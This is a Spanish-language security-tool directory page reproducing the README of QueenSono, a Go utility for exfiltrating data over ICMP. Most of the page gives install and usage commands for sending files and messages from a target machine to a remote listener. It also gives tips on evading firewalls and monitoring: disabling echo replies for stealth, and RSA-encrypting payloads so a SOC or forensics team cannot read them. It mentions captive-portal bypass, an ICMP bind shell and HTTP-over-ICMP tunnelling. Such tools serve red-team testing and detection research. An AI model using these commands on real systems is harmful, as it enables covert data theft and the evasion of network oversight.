Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
QueenSono — Binario Golang para exfiltración de datos con protocolo ICMP (+ bindshell ICMP, túnel HTTP sobre ICMP, ...) | Kitploit
Herramientas/GitHubGitHub/ariary/queensono
Exfiltración de DatosSeguridad de RedesPruebas de PenetraciónComando y ControlRed Teaming
GitHubariary/queensono

QueenSono

Binario Golang para exfiltración de datos con protocolo ICMP (+ bindshell ICMP, túnel HTTP sobre ICMP, ...)

Ver Repositorio
168272hace 3 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

QueenSono Exfiltración de Datos ICMP



Un Paquete Golang para Exfiltración de Datos con protocolo ICMP (IPv4 & IPv6).

La herramienta QueenSono solo se basa en el hecho de que el protocolo ICMP no es monitoreado. Es bastante común. También podría usarse dentro de un sistema con inspección básica de ICMP (por ejemplo, vigilante de frecuencia y longitud de contenido) o para evitar el paso de autenticación con portal cautivo (usado por muchos Wi-Fi públicos para autenticar usuarios después de conectarse al Wi-Fi, por ejemplo, Wi-Fi de aeropuertos). Intenta imitar a PyExfil (y otros) con la idea de que la máquina objetivo no necesariamente tiene Python instalado (por lo que proporcionar un binario podría ser útil).

Instalarlo · Usarlo · Notas · Solicitar Función · 🎁

Instalación

Con curl

> Desde la versión

root@kitploit:~
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

Con go

> Vía go install

Asegúrate de que $GOPATH esté en tu $PATH antes

Instalar qssender

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary

Instalar qsreceiver

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary

> Instalar el binario desde el código fuente

Clona el repositorio y descarga las dependencias localmente:

root@kitploit:~
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

Para construir el emisor de paquetes ICMP qssender :

root@kitploit:~
 build.queensono-sender

Para construir el receptor de paquetes ICMP qsreceiver :

root@kitploit:~
 build.queensono-receiver

Uso

qssender es el binario que enviará paquetes ICMP al oyente, por lo que es el binario que debes transferir a tu máquina objetivo.

qsreceiver es el oyente en tu máquina local (o donde puedas recibir paquetes ICMP)

Todos los comandos y banderas de los binarios se pueden encontrar usando --help

Ejemplo 1: Enviar con "ACK" 🔙

> En este ejemplo queremos enviar un archivo grande y esperar la respuesta de eco para confirmar la recepción de los paquetes (ACK).

demo

En la máquina local:

root@kitploit:~
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
Explicación
  • -l 0.0.0.0 escucha en todas las interfaces para paquetes ICMP
  • -f received_bible.txt guarda los datos recibidos en un archivo
  • -p muestra una barra de progreso de los datos recibidos
  • En la máquina objetivo:

    root@kitploit:~
    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
    
    Explicación
  • send file para enviar archivo (bible.txt es el archivo en cuestión)
  • -d 2 envía un paquete cada 2 segundos
  • -l 0.0.0.0 la dirección de escucha para respuesta de eco
  • -r 10.0.0.92 la dirección de mi máquina remota con qsreceiver escuchando
  • -s 50000 el tamaño de datos que quiero enviar en cada paquete
  • Ejemplo 2: Enviar sin "ACK" 🙈

    > En este ejemplo queremos enviar un mensaje sin esperar respuesta de eco (podría ser útil en caso de que el firewall de destino filtre los paquetes ICMP entrantes)

    demo

    En la máquina local:

    root@kitploit:~
    $ qsreceiver receive truncated 1 -l 0.0.0.0
    
    Explicación
  • receive truncated 1 no espera indefinidamente si no recibimos todos los paquetes. (1 es el retardo usado con qssender)

  • para sigilo, podrías evitar que el kernel responda a cualquier ping ICMP
    root@kitploit:~
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

    En la máquina objetivo:

    root@kitploit:~
    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
    
    Explicación
  • -N opción de no respuesta (no espera respuesta de eco)
  • Ejemplo 3: Enviar datos cifrados 🔒

    > En este ejemplo queremos enviar un mensaje cifrado. Como la línea de comandos podría ser espiada, usamos cifrado asimétrico (si la clave se filtra, no es un problema entonces)

    demo

    En la máquina local:

    root@kitploit:~
    $ qsreceiver receive -l 0.0.0.0 --encrypt 
    <OUTPUT PUBLIC KEY>
    
    Explicación
  • --encrypt usa intercambio de cifrado. Generará clave pública/privada. La pública será usada por qssender para cifrar datos, la privada se usará para descifrarlos con receiver
  • En la máquina objetivo:

    root@kitploit:~
    $ export MSG="<your message>"
    $ export KEY="<public_key_from_qsreceiver_output>"
    $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
    
    Explicación
  • --key proporciona la clave para el cifrado de datos. Usa la proporcionada por el comando qsreceiver
  • Acerca del cifrado

    Se utiliza cifrado RSA para mantener la confidencialidad de los datos intercambiados. Podría ser útil, por ejemplo, para evitar que un SoC vea qué datos se intercambian (o forense) con análisis básico o simplemente por privacidad.

    Pero tiene un costo. La elección del cifrado asimétrico está motivada por el hecho de que la clave de cifrado se ingresa en la línea de comandos (por lo que podría recuperarse fácilmente). Por lo tanto, ciframos los datos con la clave pública. De esta manera, si alguien recupera la clave de cifrado, no será posible descifrar el mensaje. Pero la clave pública es más pequeña que la privada, por lo que cifra mensajes más pequeños. Además, es computacionalmente costoso.

    Otro punto, como queremos limitar el tamaño de datos/solicitudes de ping (para evitar detección, errores, etc.), usa cifrado solo si es necesario ya que el tamaño de salida del mensaje será (debería) siempre igual al tamaño del Módulo (parte de la clave) que es grande.

    Mejora

    Actualmente, todo el mensaje se cifra y luego se divide en fragmentos para enviar. Del otro lado esperamos todos los paquetes (fragmentos), reconstruimos nuestro mensaje y luego lo desciframos. Pero funciona ⇔ hemos recibido TODOS los fragmentos, de lo contrario el descifrado fallará.

    => Podríamos cifrar cada fragmento de acuerdo con el parámetro -s, así podríamos descifrarlos por separado.

    Ejemplo 4: Recibir datos mediante respuesta de eco ↩️

    > En este ejemplo, la máquina local envía datos de vuelta al objetivo a través de respuestas de eco ICMP. Útil cuando el ICMP saliente del objetivo está filtrado pero el objetivo puede recibir respuestas de eco.

    En la máquina local:

    root@kitploit:~
    $ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
    
    Explicación
  • reply-send espera un disparador de qssender, luego envía datos de vuelta como respuestas de eco ICMP
  • -l 0.0.0.0 escucha en todas las interfaces el paquete de disparo
  • -d 1 retardo de 1 segundo entre cada paquete de respuesta
  • En la máquina objetivo:

    root@kitploit:~
    $ qssender receive -l 0.0.0.0 -r 10.0.0.92
    
    Explicación
  • receive envía un disparador a qsreceiver y recoge datos de las respuestas de eco entrantes
  • -l 0.0.0.0 la dirección de escucha para respuestas de eco entrantes
  • -r 10.0.0.92 la dirección de mi máquina local con qsreceiver reply-send esperando
  • Soporte IPv6

    QueenSono soporta ICMPv6 de forma transparente. Pasa una dirección IPv6 y el protocolo se detecta automáticamente — no se necesitan banderas adicionales.

    En la máquina local:

    root@kitploit:~
    $ qsreceiver receive -l ::
    

    En la máquina objetivo:

    root@kitploit:~
    $ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
    
    Explicación
  • -l :: escucha en todas las interfaces IPv6
  • -r fe80::1 dirección IPv6 de la máquina remota — activa ICMPv6 automáticamente
  • Todos los modos (enviar con ACK, enviar sin ACK, cifrado, respuesta de eco) funcionan de la misma manera sobre IPv6.

    Bonus

    Consulta la sección hack para cosas divertidas con QueenSono:

    • Shell vinculante usando ICMP
    • Túnel HTTP sobre ICMP

    Notas

    • solo funciona en Linux (debido al uso del paquete golang net icmp)
    • necesita capacidades cap_net_raw
    • soporta tanto IPv4 (ICMP) como IPv6 (ICMPv6) — detectado automáticamente desde la dirección
    • si realmente envías paquetes ICMP en 2 máquinas diferentes y esperas respuesta de eco, asegúrate de usar una IP alcanzable por la remota como dirección de escucha (no uses localhost o equivalente)
    Descargar herramienta